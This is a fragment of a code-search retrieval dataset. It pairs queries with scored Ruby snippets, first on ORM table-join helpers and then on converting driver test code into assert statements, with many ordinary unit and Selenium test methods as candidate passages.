"02c24a44f847e55c5c9f56706a4a9104", "score": "0.53896123", "text": "def save_habtm_association?(assoc)\n @record.class.paper_trail_save_join_tables.include?(assoc.name) ||\n ::PaperTrail.request.enabled_for_model?(assoc.klass)\n end", "title": "" }, { "docid": "303862766b51922bebc257a94bd2e6ff", "score": "0.5367954", "text": "def pacticipant_is_unreferenced(pacticipant_id, table_foreign_keys)\n table_foreign_keys.any? do | (table_name, foreign_keys) |\n criteria = foreign_keys.flat_map do | fk |\n fk[:columns].collect do | column_name |\n { column_name => pacticipant_id }\n end\n end\n\n # SELECT 'one' FROM xxx where consumer_id = x or provider_id = x LIMIT 1\n !from(table_name).where(Sequel.|(*criteria)).empty?\n end\nend", "title": "" }, { "docid": "e3914a44df15790e4f99fa7d059c9495", "score": "0.53664887", "text": "def joins\n return nil if inner_joins.empty?\n inner_joins.collect do |inner_join|\n join_table_name = association_class(inner_join).table_name\n join_on_field = inner_join.last.to_s\n \"INNER JOIN #{join_table_name} ON #{join_table_name}.id = #{table_name}.#{join_on_field}\"\n end\n end", "title": "" }, { "docid": "1a6486a1050c4fdcc027040e36e8b818", "score": "0.5366192", "text": "def join_on_clause_sql_append(sql, jc)\n join_clause_sql_append(sql, jc)\n sql << ' ON '\n literal_append(sql, filter_expr(jc.on))\n end", "title": "" }, { "docid": "1de77a9da0803f1f1e45f9dcf5ddea09", "score": "0.5364313", "text": "def has_table?( database, table )\n if has_database?( database )\n return @database[database].keys.include?( table )\n end\n\n return false\n end", "title": "" }, { "docid": "6b82fe10a3bba6f0671896a919e339b0", "score": "0.5363652", "text": "def construct_join_components(reflection = @reflection, association_class = reflection.klass, table_ids = {association_class.table_name => 1})\n \n if reflection.macro == :has_many and reflection.through_reflection\n # Construct the join components of the source association, so that we have a path from\n # the eventual target table of the association up to the table named in :through, and\n # all tables involved are allocated table IDs.\n source_join_components = construct_join_components(reflection.source_reflection, reflection.klass, table_ids)\n # Determine the alias of the :through table; this will be the last table assigned\n # when constructing the source join components above.\n through_table_alias = through_table_name = reflection.through_reflection.table_name\n through_table_alias += \"_#{table_ids[through_table_name]}\" unless table_ids[through_table_name] == 1\n\n # Construct the join components of the through association, so that we have a path to\n # the active record's table.\n through_join_components = construct_join_components(reflection.through_reflection, reflection.through_reflection.klass, table_ids)\n\n # Any subsequent joins / filters on owner attributes will act on the through association,\n # so that's what we return for the conditions/keys of the overall association.\n conditions = through_join_components[:conditions]\n conditions += \" AND #{interpolate_sql(reflection.klass.send(:sanitize_sql, reflection.options[:conditions]))}\" if reflection.options[:conditions]\n {\n :joins => \"#{source_join_components[:joins]} INNER JOIN #{table_name_with_alias(through_table_name, through_table_alias)} ON (#{source_join_components[:remote_key]} = #{through_table_alias}.#{source_join_components[:local_key]}#{source_join_components[:conditions]}) #{through_join_components[:joins]} #{reflection.options[:joins]}\",\n :remote_key => through_join_components[:remote_key],\n :local_key => through_join_components[:local_key],\n :conditions => conditions\n }\n else\n # reflection is not has_many :through; it's a standard has_many / belongs_to instead\n \n # Determine the alias used for remote_table_name, if any. In all cases this will already\n # have been assigned an ID in table_ids (either through being involved in a previous join,\n # or - if it's the first table in the query - as the default value of table_ids)\n remote_table_alias = remote_table_name = association_class.table_name\n remote_table_alias += \"_#{table_ids[remote_table_name]}\" unless table_ids[remote_table_name] == 1\n\n # Assign a new alias for the local table.\n local_table_alias = local_table_name = reflection.active_record.table_name\n if table_ids[local_table_name]\n table_id = table_ids[local_table_name] += 1\n local_table_alias += \"_#{table_id}\"\n else\n table_ids[local_table_name] = 1\n end\n \n conditions = ''\n # Add filter for single-table inheritance, if applicable.\n conditions += \" AND #{remote_table_alias}.#{association_class.inheritance_column} = #{association_class.quote_value(association_class.name.demodulize)}\" unless association_class.descends_from_active_record?\n # Add custom conditions\n conditions += \" AND (#{interpolate_sql(association_class.send(:sanitize_sql, reflection.options[:conditions]))})\" if reflection.options[:conditions]\n \n if reflection.macro == :belongs_to\n if reflection.options[:polymorphic]\n conditions += \" AND #{local_table_alias}.#{reflection.options[:foreign_type]} = #{reflection.active_record.quote_value(association_class.base_class.name.to_s)}\"\n end\n {\n :joins => reflection.options[:joins],\n :remote_key => \"#{remote_table_alias}.#{association_class.primary_key}\",\n :local_key => reflection.primary_key_name,\n :conditions => conditions\n }\n else\n # Association is has_many (without :through)\n if reflection.options[:as]\n conditions += \" AND #{remote_table_alias}.#{reflection.options[:as]}_type = #{reflection.active_record.quote_value(reflection.active_record.base_class.name.to_s)}\"\n end\n {\n :joins => \"#{reflection.options[:joins]}\",\n :remote_key => \"#{remote_table_alias}.#{reflection.primary_key_name}\",\n :local_key => reflection.klass.primary_key,\n :conditions => conditions\n }\n end\n end\n end", "title": "" }, { "docid": "46a40a799133159a53ab22684d903806", "score": "0.53629273", "text": "def can_subset_from?\n @to_table.primary_key == @other_column\n end", "title": "" }, { "docid": "e441d121843c577f81f54973f0636d5e", "score": "0.5362863", "text": "def foreign_keys_referencing(table)\n Array(foreignKeys).select do |fk|\n reference = fk['reference']\n if reference['resource']\n ref = context.base.join(reference['resource']).to_s\n table.url == ref\n else # schemaReference\n ref = context.base.join(reference['schemaReference']).to_s\n table.tableSchema.id == ref\n end\n end\n end", "title": "" }, { "docid": "718e44af2ffa9e93d6394a46f24c0c46", "score": "0.53584844", "text": "def join_with_condition_ar\n Actor.joins('inner join film_actor on film_actor.actor_id = actor.actor_id and actor.actor_id > 10')\nend", "title": "" }, { "docid": "9da11d163673caddcbb2f02201ae5213", "score": "0.53439707", "text": "def joined?\n !!@joined\n end", "title": "" }, { "docid": "2e748b28a3d7b84ed62036e4bf6c141c", "score": "0.53422576", "text": "def joined_dataset?\n !!((opts[:from].is_a?(Array) && opts[:from].size > 1) || opts[:join])\n end", "title": "" }, { "docid": "1db22e8a6df7753d94c79224040b807c", "score": "0.53289574", "text": "def join_with_venues_required?\n columns.include?('venue') ||\n ( filters.present? && filters['venue'].present? )\n end", "title": "" }, { "docid": "daa3fe77ec47bde052836c06de689f03", "score": "0.5318713", "text": "def check_auto_join(polymorphic)\n foreign_key = (polymorphic.present? ? polymorphic : base_name)\n foreign_key = foreign_key.to_s.foreign_key\n if query.columns_hash.key?(foreign_key)\n joins_projections(base.primary_key => foreign_key)\n if polymorphic.present?\n foreign_type = foreign_key.gsub(/_id$/, '_type')\n @selected_attributes << project(foreign_type, query_table)\n @join_attributes << project(foreign_type).eq(base_name)\n end\n end\n end", "title": "" }, { "docid": "48491b217089ac4bb5873f1f765034da", "score": "0.5318515", "text": "def join_scope(table, foreign_table, foreign_klass)\n return super unless connected_through_array?\n\n predicate_builder = predicate_builder(table)\n scope_chain_items = join_scopes(table, predicate_builder)\n klass_scope = klass_join_scope(table, predicate_builder)\n\n klass_scope.where!(build_id_constraint_between(table, foreign_table))\n klass_scope.where!(type => foreign_klass.polymorphic_name) if type\n klass_scope.where!(klass.send(:type_condition, table)) \\\n if klass.finder_needs_type_condition?\n\n scope_chain_items.inject(klass_scope, &:merge!)\n end", "title": "" }, { "docid": "423a0113361cb150a4ff01625d0f68df", "score": "0.53177947", "text": "def temporal_compatible_association?(*models)\n models.all? { |m| m.respond_to?(:starts_on) && m.respond_to?(:ends_on) }\n end", "title": "" }, { "docid": "45d57ebedc5b459d1cfdd629f1ac7b97", "score": "0.53130144", "text": "def foreign_key_exists?(from_table, to_table = nil, **options)\n foreign_key_for(from_table, to_table: to_table, **options).present?\n end", "title": "" }, { "docid": "22df805473d1ddfa645c5b7ecac98c0b", "score": "0.529414", "text": "def association_alias_condition?(name)\n !association_alias_condition_details(name).nil?\n end", "title": "" }, { "docid": "c0b0d9a8e406c13444ee74e45ed5b5fd", "score": "0.52890664", "text": "def right_outer_join(table, expr); join_table(:right_outer, table, expr); end", "title": "" }, { "docid": "8aa4b82dbb0ae0e2b981679906b27c45", "score": "0.52830493", "text": "def joins\n params.map(&:condition).map(&:joins).compact.flatten\n end", "title": "" }, { "docid": "033963e5dba0116d9b09835a01854e32", "score": "0.5282134", "text": "def join_to(relation)\n tables = @tables.dup\n foreign_table = parent_table\n\n # The chain starts with the target table, but we want to end with it here (makes\n # more sense in this context), so we reverse\n chain.reverse.each_with_index do |reflection, i|\n table = tables.shift\n\n case reflection.source_macro\n when :belongs_to\n key = reflection.association_primary_key\n foreign_key = reflection.foreign_key\n when :has_and_belongs_to_many\n # Join the join table first...\n relation.from(join(\n table,\n table[reflection.foreign_key].\n eq(foreign_table[reflection.active_record_primary_key])\n ))\n\n foreign_table, table = table, tables.shift\n\n key = reflection.association_primary_key\n foreign_key = reflection.association_foreign_key\n else\n key = reflection.foreign_key\n foreign_key = reflection.active_record_primary_key\n end\n\n constraint = table[key].eq(foreign_table[foreign_key])\n\n if reflection.options[:polymorphic]\n constraint = constraint.and(\n foreign_table[reflection.foreign_type].eq(reflection.klass.name)\n )\n end\n\n if reflection.klass.finder_needs_type_condition?\n constraint = table.create_and([\n constraint,\n reflection.klass.send(:type_condition, table)\n ])\n end\n\n relation.from(join(table, constraint))\n\n unless conditions[i].empty?\n relation.where(sanitize(conditions[i], table))\n end\n\n # The current table in this iteration becomes the foreign table in the next\n foreign_table = table\n end\n\n relation\n end", "title": "" }, { "docid": "4336ca9f0f57fd8baf457d41ed5d5565", "score": "0.527473", "text": "def relation_query?(obj)\n !obj.nil? && obj.respond_to?(:ancestors) && \\\n obj.ancestors.include?(ActiveRecord::Base)\n end", "title": "" }, { "docid": "4336ca9f0f57fd8baf457d41ed5d5565", "score": "0.527473", "text": "def relation_query?(obj)\n !obj.nil? && obj.respond_to?(:ancestors) && \\\n obj.ancestors.include?(ActiveRecord::Base)\n end", "title": "" } ]
9d327e746859b524f0637885dc0ba1c4
4. Convert your driver test code from that challenge into Assert Statements
[ { "docid": "ca0df44d8b905e0fd44c1e24ba84312c", "score": "0.0", "text": "def assert\n raise \"Assertion failed!\" unless yield\nend", "title": "" } ]
[ { "docid": "1ea0145f1766317f8875773e74bd2a56", "score": "0.7143878", "text": "def assertions; end", "title": "" }, { "docid": "1ea0145f1766317f8875773e74bd2a56", "score": "0.7143878", "text": "def assertions; end", "title": "" }, { "docid": "0e27ed76988a692adb5cdf7709fe4144", "score": "0.70558", "text": "def test_case_7\n assert false\n end", "title": "" }, { "docid": "3fcc75a227c5cd0de58359677e7bc992", "score": "0.69585603", "text": "def test_case_6\n assert false\n end", "title": "" }, { "docid": "0a9fc284618250e3fd0ef3513ee172f2", "score": "0.6933291", "text": "def test_case_5\n assert false\n end", "title": "" }, { "docid": "289f6b371db414f5852d38dcac6cbddf", "score": "0.66220427", "text": "def test_024\n assert true\n end", "title": "" }, { "docid": "4b5be54dcc013559d8dbd42a5742e5e8", "score": "0.662003", "text": "def test_should_pass\n assert(true)\n end", "title": "" }, { "docid": "cac5c0465c2f2abc768d29f5f343ec69", "score": "0.6596745", "text": "def test_046\n assert true\n end", "title": "" }, { "docid": "374e142149c95f2f2bb225c5ce64e944", "score": "0.655235", "text": "def test_dtm_st_006\n assert true\n end", "title": "" }, { "docid": "abf295c39276be94e454760ba58adf53", "score": "0.6530335", "text": "def verifyLeaderboard(modified_camp_url, sug_amount, teamcamp_fr)\n\t\n\tputs \"************** START : View Campaign Leaderboard ****************\"\t\n\t$browser.open modified_camp_url\n\tputs \"Step 1 : Verify amount raised in the Thermometer.\"\n\tbegin\n\t\tassert_equal \"$#{sug_amount} raised\", $browser.get_text(\"//p[1]/strong\")\n\t\tputs \"Step 1 is passed.\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 1 is failed.\"\n\tend\n\tputs \"Step 2 : Verify amount raised at the title header.\"\n\tbegin\n\t\tassert_equal \"$#{sug_amount}\", $browser.get_text(\"//li[1]/div/div[1]\")\n\t\tputs \"Step 2 is passed.\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 2 is failed.\"\n\tend\n\tputs \"Step 3 : Verify donor's count at the title header.\"\n\tbegin\n\t\tassert_equal \"1\", $browser.get_text(\"//li[2]/div/div[1]\")\n\t\tputs \"Step 3 is passed.\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 3 is failed.\"\n\tend\n\tputs \"Step 4 : Verify fundraiser's count at the title header.\"\n\tbegin\n\t\tassert_equal \"1\", $browser.get_text(\"//li[3]/div/div[1]\")\n\t\tputs \"Step 4 is passed.\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 4 is failed.\"\n\tend\n\tputs \"Step 5 : Verify dollars in the Leaderboard.\"\n\tbegin\n\t\tassert_equal \"$#{sug_amount}\", $browser.get_text(\"//td[4]\")\n\t\tputs \"Step 5 is passed.\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 5 is failed.\"\n\tend\n\tputs \"Step 6 : Verify donors in the Leaderboard.\"\n\tbegin\n\t\tassert_equal \"1\", $browser.get_text(\"//td[3]\")\n\t\tputs \"Step 6 is passed.\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 6 is failed.\"\n\tend\n\tputs \"Step 7 : Verify FR link in the Leaderboard.\"\n\tbegin\n\t\tassert $browser.is_element_present(\"link=#{teamcamp_fr}\")\n\t\tputs \"Step 7 is passed.\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 7 is failed.\"\n\tend\n\tputs \"Step 8 : Verify FR link under 'Most Recent Donations' frame.\"\n\tbegin\n\t\tassert_equal teamcamp_fr, $browser.get_text(\"//div/span/a\")\n\t\tputs \"Step 8 is passed.\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 8 is failed.\"\n\tend\n\t\n\tputs \"************** END : View Campaign Leaderboard ****************\"\t\nend", "title": "" }, { "docid": "55faf306c48260a4b6d5aededf719bdf", "score": "0.64841545", "text": "def test_Case1\n puts \"This is the test code\"\n assert_true true, \"[Error] - Actual is not matching with Expected.\"\n end", "title": "" }, { "docid": "acdaeba2d71b1d582e0169184c357d87", "score": "0.6452642", "text": "def test_051\n assert true\n end", "title": "" }, { "docid": "d96ac50387a654c3e7fa4c67896ca806", "score": "0.63940006", "text": "def test_it_does_something_useful\n assert true\n end", "title": "" }, { "docid": "d96ac50387a654c3e7fa4c67896ca806", "score": "0.63940006", "text": "def test_it_does_something_useful\n assert true\n end", "title": "" }, { "docid": "7bcd4963cdc81bb7a3f935080cfe4850", "score": "0.63890564", "text": "def test_003\n printf \"\\n+ Test 003\"\n # accesses Analysis Result Report List page as a reviewer\n access_analysis_result_report_list_as_reviewer\n\n # checks if \"WarningListing\" button exists\n assert(is_element_present($xpath[\"review\"][\"warning_listing_button\"]))\n i = 0\n # checks all headeres of the result list table\n if $lang == 'en'\n $xpath[\"review\"][\"result_list_headers\"].each_with_index do |header, index|\n i = i+1\n assert_equal(RESULT_LIST_HEADERS_EN[index],get_text(header))\n end\n else\n $xpath[\"review\"][\"result_list_headers\"].each_with_index do |header, index|\n i = i+1\n\n assert_equal(RESULT_LIST_HEADERS_JA[index],get_text(header))\n end\n end\n\n logout\n\n # accesses Analysis Result Report List page as a pj member (general user)\n access_analysis_result_report_list_as_pj_member\n\n # checks if \"WarningListing\" button exists\n assert(is_element_present($xpath[\"review\"][\"warning_listing_button\"]))\n\n # checks all headeres of the result list table\n if $lang == 'en'\n $xpath[\"review\"][\"result_list_headers\"].each_with_index do |header, index|\n i = i+1\n assert_equal(RESULT_LIST_HEADERS_EN[index],get_text(header))\n end\n else\n $xpath[\"review\"][\"result_list_headers\"].each_with_index do |header, index|\n i = i+1\n assert_equal(RESULT_LIST_HEADERS_JA[index],get_text(header))\n end\n end\n\n logout\n end", "title": "" }, { "docid": "7e236ba1da4295999aefdbbc848e155c", "score": "0.63399315", "text": "def test_dtm_st_005\n assert true\n end", "title": "" }, { "docid": "89cf8ca67d48e3ab3e6793a8367290e4", "score": "0.63387334", "text": "def test_truth\r\n assert true\r\n end", "title": "" }, { "docid": "89cf8ca67d48e3ab3e6793a8367290e4", "score": "0.63387334", "text": "def test_truth\r\n assert true\r\n end", "title": "" }, { "docid": "89cf8ca67d48e3ab3e6793a8367290e4", "score": "0.63387334", "text": "def test_truth\r\n assert true\r\n end", "title": "" }, { "docid": "89cf8ca67d48e3ab3e6793a8367290e4", "score": "0.63387334", "text": "def test_truth\r\n assert true\r\n end", "title": "" }, { "docid": "89cf8ca67d48e3ab3e6793a8367290e4", "score": "0.63387334", "text": "def test_truth\r\n assert true\r\n end", "title": "" }, { "docid": "89cf8ca67d48e3ab3e6793a8367290e4", "score": "0.63387334", "text": "def test_truth\r\n assert true\r\n end", "title": "" }, { "docid": "b9f18715f4ab8c686b91581b699732fa", "score": "0.6329675", "text": "def test_014\n test_000\n login(\"root\",\"root\")\n ## create 5 more users\n create_many_user(5)\n ## add 5 users to SamplePU member list\n add_many_pu_mem(SAMPLE_PU)\n open_pu_member_page(SAMPLE_PU)\n @selenium.click($xpath[\"pu_user\"][\"pu_member_list\"])\n sleep WAIT_TIME\n (1..4).each do |i|\n assert_equal $link_texts[\"pu_user\"][\"pu_user_list_table\"][i-1], @selenium.get_text($xpath[\"pu_user\"][\"pu_user_list_table\"]+\"[1]/th[#{i}]\")\n end\n assert_equal $link_texts[\"pu_user\"][\"pu_user_list_table\"][4], @selenium.get_text(\"thline-right\")\n (1..5).each do |i|\n assert @selenium.is_element_present($xpath[\"pu_user\"][\"pu_user_list_table\"]+\"[6]/td[#{i}]\")\n end\n logout\n end", "title": "" }, { "docid": "51848ece059ef4987ce602d176b410cb", "score": "0.63262504", "text": "def testing(actual, expected, msg)\n Test.assert_equals(actual, expected, msg)\nend", "title": "" }, { "docid": "960c4b02b07be490e24a62e9f79e2ffe", "score": "0.62993157", "text": "def test_pass_only_test_case\n assert(true)\n end", "title": "" }, { "docid": "b16ac31e6f08f272fadb702859bd16a4", "score": "0.6296784", "text": "def test_on_check_in()\n test_libIsOpen() \n test_on_custIsServe() \n @l.issue_card('ugo');\n @l.serve('ugo');\n begin\n @l.check_out(50)\n rescue Exception => e # or you can test for specific exceptions\n expect1=\"The library does not have book id 50\"\n assert_equal(expect1, e.message)\n end \n begin\n @l.check_in(32)\n rescue Exception => e # or you can test for specific exceptions\n expect1=\"The current member does't have book id 32\"\n assert_equal(expect1, e.message)\n end \n @l.check_out(5); \n expectT = \"ugo has return book id 5 \" \n assert_equal(expectT, @l.check_in(5) ,msg=\"___ugo has return book id 5\")\n \nend", "title": "" }, { "docid": "394b2bcfdac057efa3a91d214f46c3f4", "score": "0.62925386", "text": "def test_email_add() \n # 1.1\n assert_nil One::EmailDirect::Facade.email_add(\n @credentials, @email1,\n @source1[:element_id], [@publication1[:element_id]], [@list1[:element_id]],\n @autoresponder, @force\n )\n\n\n # 1.2\n assert_nil One::EmailDirect::Facade.email_add(\n @credentials, @email2,\n @source1[:element_id], [@publication1[:element_id], @publication2[:element_id]], [@list1[:element_id], @list2[:element_id]],\n @autoresponder, @force\n )\n\n\n # 1.3\n assert_nil One::EmailDirect::Facade.email_add(\n @credentials, @email3,\n @source1[:element_id], [@publication1[:element_id]], [@list1[:element_id]],\n @autoresponder\n )\n\n\n # 1.4\n assert_nil One::EmailDirect::Facade.email_add(\n @credentials, @email4,\n @source1[:element_id], [@publication1[:element_id]], [],\n @autoresponder, @force\n )\n assert_nil One::EmailDirect::Facade.email_add(\n @credentials, @email5,\n @source1[:element_id], [@publication1[:element_id]], nil,\n @autoresponder, @force\n )\n\n\n # 1.5\n assert_nil One::EmailDirect::Facade.email_add(\n @credentials, @email6,\n @source1[:element_id], [], [@list1[:element_id]],\n @autoresponder, @force\n )\n assert_nil One::EmailDirect::Facade.email_add(\n @credentials, @email7,\n @source1[:element_id], nil, [@list1[:element_id]],\n @autoresponder, @force\n )\n\n\n # 1.6\n assert_raises One::EmailDirect::EmailDirectException do\n One::EmailDirect::Facade.email_add(\n @credentials, nil,\n @source1[:element_id], [@publication1[:element_id]], [@list1[:element_id]],\n @autoresponder\n )\n end\n\n\n # 1.7\n assert_nil One::EmailDirect::Facade.email_add(\n @credentials, @email1,\n @source1[:element_id], [@publication1[:element_id]], [@list1[:element_id]],\n @autoresponder, @force\n )\n end", "title": "" }, { "docid": "a37a3e8a174053c350332cefa4252a36", "score": "0.629126", "text": "def test_001\n assert true\n end", "title": "" }, { "docid": "0280cf73860222eb8f1d10853dc05e33", "score": "0.62829494", "text": "def convert_assert_equal\n test_case.gsub!(/assert_equal[s]*#{@open}(#{@simple_ex}?),\\s*(.*)#{@close}#{@end}/) { |s| params($2)+\".should == #{$1}\" }\n end", "title": "" }, { "docid": "b1ed7e3618678785e718e56a899c2132", "score": "0.6279116", "text": "def test_truth\n\t\tassert true\n\tend", "title": "" }, { "docid": "9d0a5b43f577bcea94f725577ed56e75", "score": "0.6259014", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "f404f9cea8fd6b4bc6c88c6a91534bf1", "score": "0.6257036", "text": "def test_variables \n assert_equal($education , $education_total )\n assert_equal($income , $income_total)\n assert_equal($crime , $crime_total)\n assert_equal($education_income , $edu_income_total )\n assert_equal($crime_education, $crime_edu_total)\n assert_equal($crime_income , $crime_income_total)\n assert_equal($education_2 , $education_2_total)\n assert_equal($income_2 , $income_2_total)\n assert_equal($crime_2 , $crime_2_total)\n end", "title": "" }, { "docid": "c2125db88556c19c7c74d67db3bdefbc", "score": "0.6253041", "text": "def test_true\n assert true\n end", "title": "" }, { "docid": "f0caff457267a1fb687a3fb81cb2cac7", "score": "0.6244372", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "ff930b92f56b238215ff4db586a18b9d", "score": "0.6241666", "text": "def test_wd_st_010\n printf \"\\n+ Test 010\"\n open_diff_administration_page_as(PJ_MEMBER_USER,PJ_MEMBER_PASSWORD)\n # recent diff result table\n assert @selenium.is_text_present($diff_administration[\"recent_diff_result\"])\n (1..4).each do |index|\n assert_equal $diff_administration[\"recent_diff_result_head1\"][index-1],\n @selenium.get_text($diff_administration_xpath[\"recent_diff_result_head1\"].sub(\"__INDEX__\",index.to_s))\n end\n (1..10).each do |index|\n if index > 5\n assert_equal $diff_administration[\"recent_diff_result_head2\"][index-6],\n @selenium.get_text($diff_administration_xpath[\"recent_diff_result_head2\"].sub(\"__INDEX__\",index.to_s))\n else\n assert_equal $diff_administration[\"recent_diff_result_head2\"][index-1],\n @selenium.get_text($diff_administration_xpath[\"recent_diff_result_head2\"].sub(\"__INDEX__\",index.to_s))\n end\n end\n assert !@selenium.is_text_present($diff_administration[\"new_version_field_name\"])\n assert !@selenium.is_text_present($diff_administration[\"old_version_field_name\"])\n assert !@selenium.is_text_present($diff_administration[\"select_analysis_tool\"])\n assert !@selenium.is_element_present($diff_administration_xpath[\"execute_diff_button\"])\n logout\n end", "title": "" }, { "docid": "b1900305f2767f1df0ead78f08555f75", "score": "0.6229668", "text": "def test_wd_st_011\n printf \"\\n+ Test 011\"\n open_diff_administration_page_as(NONE_PJ_MEMBER_USER,NONE_PJ_MEMBER_PASSWORD)\n # recent diff result table\n assert @selenium.is_text_present($diff_administration[\"recent_diff_result\"])\n (1..4).each do |index|\n assert_equal $diff_administration[\"recent_diff_result_head1\"][index-1],\n @selenium.get_text($diff_administration_xpath[\"recent_diff_result_head1\"].sub(\"__INDEX__\",index.to_s))\n end\n (1..10).each do |index|\n if index > 5\n assert_equal $diff_administration[\"recent_diff_result_head2\"][index-6],\n @selenium.get_text($diff_administration_xpath[\"recent_diff_result_head2\"].sub(\"__INDEX__\",index.to_s))\n else\n assert_equal $diff_administration[\"recent_diff_result_head2\"][index-1],\n @selenium.get_text($diff_administration_xpath[\"recent_diff_result_head2\"].sub(\"__INDEX__\",index.to_s))\n end\n end\n assert !@selenium.is_text_present($diff_administration[\"new_version_field_name\"])\n assert !@selenium.is_text_present($diff_administration[\"old_version_field_name\"])\n assert !@selenium.is_text_present($diff_administration[\"select_analysis_tool\"])\n assert !@selenium.is_element_present($diff_administration_xpath[\"execute_diff_button\"])\n assert_equal 0,get_xpath_count($diff_administration_xpath[\"recent_diff_result_row\"])\n logout\n end", "title": "" }, { "docid": "82dd5a2c27aa7012aaa996ac0449cd1d", "score": "0.62277997", "text": "def test_assert_only_test_case\n assert(false)\n end", "title": "" }, { "docid": "deca5e01605df7655cd433763b5329db", "score": "0.62201536", "text": "def non_example_failure; end", "title": "" }, { "docid": "ec92cf298996eceef513951cd6938ea2", "score": "0.62192374", "text": "def test_ok\n assert true\n end", "title": "" }, { "docid": "aa0daec492fcda210ae61035132ce6f7", "score": "0.621898", "text": "def test_005\n test_000\n login(\"root\",\"root\")\n privilege_users_of_pu = PrivilegesUsers.find_all_by_pu_id(PU_ID)\n assert_not_equal privilege_users_of_pu,[]\n delete_pu\n privilege_users_of_pu = PrivilegesUsers.find_all_by_pu_id(PU_ID)\n begin\n assert_equal privilege_users_of_pu,[]\n rescue Test::Unit::AssertionFailedError\n @verification_errors << $!\n end\n logout\n end", "title": "" }, { "docid": "5e99e33ea744c2e35d90dbf9b99ef5c1", "score": "0.62128514", "text": "def test_006\n test_000\n login(\"root\",\"root\")\n all_masters_of_pj = Master.find_all_by_pj_id(PJ_ID)\n assert_not_equal all_masters_of_pj,[]\n delete_pu\n all_masters_of_pj = Master.find_all_by_pj_id(PJ_ID)\n begin\n assert_equal all_masters_of_pj,[]\n rescue Test::Unit::AssertionFailedError\n @verification_errors << $!\n end\n logout\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.62092745", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.62091994", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": 